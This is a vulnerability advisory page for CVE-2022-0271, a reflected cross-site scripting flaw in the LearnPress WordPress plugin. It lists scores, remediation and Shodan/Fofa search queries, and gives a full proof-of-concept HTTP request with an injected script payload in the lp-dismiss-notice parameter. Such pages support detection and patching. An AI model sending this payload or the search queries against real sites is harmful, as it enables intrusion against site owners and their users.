🔙 목록으로 돌아가기

CVE-2022-0271: LearnPress <4.1.6 - Cross-Site Scripting

TitleLearnPress <4.1.6 - Cross-Site Scripting
AuthorAkincibor
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
RemediationUpgrade LearnPress to version 4.1.6 or later to mitigate this vulnerability.
CVSS Score6.1
EPSS Score0.04159
CVE IDCVE-2022-0271
CWE IDCWE-79
Shodan Queryhttp.html:/wp-content/plugins/learnpress
Fofa Querybody=/wp-content/plugins/learnpress
Tags cve2022 cve wp wp-plugin wordpress learnpress wpscan xss thimpress vuln

🔍 Vulnerability Description

WordPress LearnPress plugin before 4.1.6 contains a cross-site scripting vulnerability. It does not sanitize and escape the lp-dismiss-notice before outputting it back via the lp_background_single_email AJAX action.

🌐 HTTP Request

GET /wp-admin/admin-ajax.php?action=lp_background_single_email&lp-dismiss-notice=xxx<img%20src=x%20onerror=alert(document.domain)> HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-0271.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-0271.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A